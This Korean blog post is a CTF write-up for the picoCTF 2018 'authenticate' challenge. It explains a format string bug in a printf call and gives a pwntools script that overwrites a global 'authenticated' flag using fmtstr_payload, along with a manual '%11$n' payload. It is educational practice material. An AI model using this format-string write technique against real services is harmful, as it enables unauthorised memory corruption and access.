상세 컨텐츠

본문 제목

[picoCTF 2018] authenticate

SYSTEM HACKING/CTF, etc

by koharin 2020. 1. 31. 12:56

본문

728x90
반응형

 

# description

 

Can you authenticate to this service and get the flag?

Connect with nc 2018shell3.picoctf.com 27114

 

 


 

# code

 

 

s 변수에 "yes"가 없으면 printf(&s); 로 출력해주는데 이때 Format String Bug 취약점이 발생한다.

_bss_start에 입력한 값을 64바이트만 s에 저장한다.

_bss_start가 뭔가 봤더니

 

 

그리고 yes를 입력하면 read_flag() 함수를 호출해준다.

 

read_flag() 함수 :

 

 

read_flag() 함수는 authenticated 값이 0인지 아닌지 if문으로 확인하는데 0이 아닐 때 flag() 함수를 호출해준다.

현재 authenticated 값은 0이라서 flag() 함수가 호출되지 않는 것 같다.

authenticated 변수는 아까 _bss_start 확인 시 알 수 있었듯이 전역변수이다.

 

flag() 함수 :

 

 

 

flag() 함수는 예상대로 flag를 출력해주는 함수이다.

 

 


 

# process

 

printf(&s); 가 되게 하려면 yes 또는 no를 주지 않으면 된다.

 

 

AAAA를 첫 번째로 주고 출력되는 위치를 확인해보면 11번째에 출력된다.

따라서 이 AAAA 위치에 authenticated 전역변수 주소를 주고 "%$11n" 을 준다.

 

아니면 pwntools의 fmtstr_payload 함수를 사용해서 offset을 주고 auth 주소에 값을 넣어줄 수 있다.

 

 


 

 

# exploit code

 

#!/usr/bin/python
from pwn import *

#p = process("./auth")
p = remote("2018shell3.picoctf.com", 27114)
auth = 0x804a04c

#pay = p32(auth) + "%11$n"
#pay = p32(auth) + '%{}$n'.format(11)
pay = fmtstr_payload(11, {auth: 10})

p.sendlineafter("Would you like to read the flag? (yes/no)\n", pay)

p.interactive()

 

 

 

# exploit

 

 

 


 

728x90
반응형

'SYSTEM HACKING > CTF, etc' 카테고리의 다른 글

[Codegate 2018] Super Marimo  (0) 2020.02.09
[picoCTF 2018] echo back  (0) 2020.02.07
[picoCTF 2018] can you gets me  (0) 2020.01.31
[picoCTF 2018] echooo  (0) 2020.01.29
[TUCTF 2018] Ehh  (0) 2020.01.29

관련글 더보기